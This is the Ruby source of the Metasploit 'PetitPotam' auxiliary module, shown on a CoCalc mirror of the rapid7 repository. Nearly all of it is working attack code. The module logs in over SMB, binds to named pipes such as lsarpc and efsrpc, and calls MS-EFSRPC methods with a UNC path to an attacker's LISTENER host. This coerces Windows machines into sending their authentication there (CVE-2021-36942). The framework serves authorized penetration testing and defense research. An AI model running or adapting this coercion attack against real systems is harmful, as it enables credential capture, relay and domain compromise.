Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/dcerpc/petitpotam.rb
33008 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'windows_error'
7
require 'ruby_smb'
8
require 'ruby_smb/error'
9
require 'ruby_smb/dcerpc/lsarpc'
10
require 'ruby_smb/dcerpc/efsrpc'
11
12
class MetasploitModule < Msf::Auxiliary
13
14
module EfsrpcOverLsarpc
15
include RubySMB::Dcerpc::Efsrpc
16
17
UUID = RubySMB::Dcerpc::Efsrpc::LSARPC_UUID
18
end
19
20
include Msf::Exploit::Remote::DCERPC
21
include Msf::Exploit::Remote::SMB::Client::Authenticated
22
include Msf::Auxiliary::Scanner
23
include Msf::Auxiliary::Report
24
25
METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze
26
# The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use
27
# Efsrpc and it's normal UUID
28
PIPE_HANDLES = {
29
lsarpc: {
30
endpoint: EfsrpcOverLsarpc,
31
filename: 'lsarpc'.freeze
32
},
33
efsrpc: {
34
endpoint: RubySMB::Dcerpc::Efsrpc,
35
filename: 'efsrpc'.freeze
36
},
37
samr: {
38
endpoint: RubySMB::Dcerpc::Lsarpc,
39
filename: 'samr'.freeze
40
},
41
lsass: {
42
endpoint: RubySMB::Dcerpc::Lsarpc,
43
filename: 'lsass'.freeze
44
},
45
netlogon: {
46
endpoint: RubySMB::Dcerpc::Lsarpc,
47
filename: 'netlogon'.freeze
48
}
49
}.freeze
50
51
def initialize
52
super(
53
'Name' => 'PetitPotam',
54
'Description' => %q{
55
Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.
56
},
57
'Author' => [
58
'GILLES Lionel',
59
'Spencer McIntyre'
60
],
61
'References' => [
62
[ 'CVE', '2021-36942' ],
63
[ 'URL', 'https://github.com/topotam/PetitPotam' ],
64
[ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ],
65
['ATT&CK', Mitre::Attack::Technique::T1187_FORCED_AUTHENTICATION],
66
['ATT&CK', Mitre::Attack::Technique::T1212_EXPLOITATION_FOR_CREDENTIAL_ACCESS]
67
],
68
'License' => MSF_LICENSE
69
)
70
71
register_options(
72
[
73
OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
74
OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]),
75
OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
76
]
77
)
78
end
79
80
def run_host(_ip)
81
begin
82
connect
83
rescue Rex::ConnectionError => e
84
fail_with(Failure::Unreachable, e.message)
85
end
86
87
begin
88
smb_login
89
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
90
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
91
end
92
report_service(service_data)
93
94
begin
95
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
96
rescue RubySMB::Error::RubySMBError => e
97
raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})."
98
end
99
100
handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
101
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
102
103
# rename tree_file
104
@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)
105
handle = dcerpc_handle(
106
handle_args[:endpoint]::UUID,
107
handle_args.fetch(:version, '1.0'),
108
handle_args.fetch(:protocol, 'ncacn_np'),
109
["\\#{handle_args[:filename]}"]
110
)
111
vprint_status("Binding to #{handle} ...")
112
@pipe.bind(
113
endpoint: handle_args[:endpoint],
114
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
115
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
116
)
117
vprint_status("Bound to #{handle} ...")
118
119
if datastore['METHOD'] == 'Automatic'
120
methods = METHODS
121
else
122
methods = [datastore['METHOD']]
123
end
124
125
methods.each do |method|
126
vprint_status("Attempting to coerce authentication via #{method}")
127
response = efs_call(
128
method,
129
file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
130
)
131
if response.nil?
132
unless method == methods.last
133
# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try
134
vprint_status("Rebinding to #{handle} ...")
135
@pipe.close
136
@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)
137
@pipe.bind(
138
endpoint: handle_args[:endpoint],
139
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
140
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
141
)
142
end
143
144
next
145
end
146
147
error_status = response.error_status.to_i
148
win32_error = ::WindowsError::Win32.find_by_retval(error_status).first
149
case win32_error
150
when ::WindowsError::Win32::ERROR_BAD_NETPATH
151
# this should be the response even if LISTENER was inaccessible
152
print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
153
break
154
when nil
155
print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")
156
else
157
print_status("Server responded with #{win32_error.name} (#{win32_error.description})")
158
end
159
end
160
end
161
162
def cleanup
163
if @pipe
164
@pipe.close
165
@pipe = nil
166
end
167
168
if @tree
169
@tree.disconnect!
170
@tree = nil
171
end
172
173
super
174
end
175
176
def efs_call(name, **kwargs)
177
request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs)
178
179
begin
180
raw_response = @pipe.dcerpc_request(
181
request,
182
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
183
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
184
)
185
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
186
print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."
187
return nil
188
end
189
190
RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response)
191
end
192
193
def service_data
194
{
195
host: rhost,
196
port: rport,
197
host_name: simple.client.default_name,
198
proto: 'tcp',
199
name: 'smb',
200
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
201
}
202
end
203
end
204
205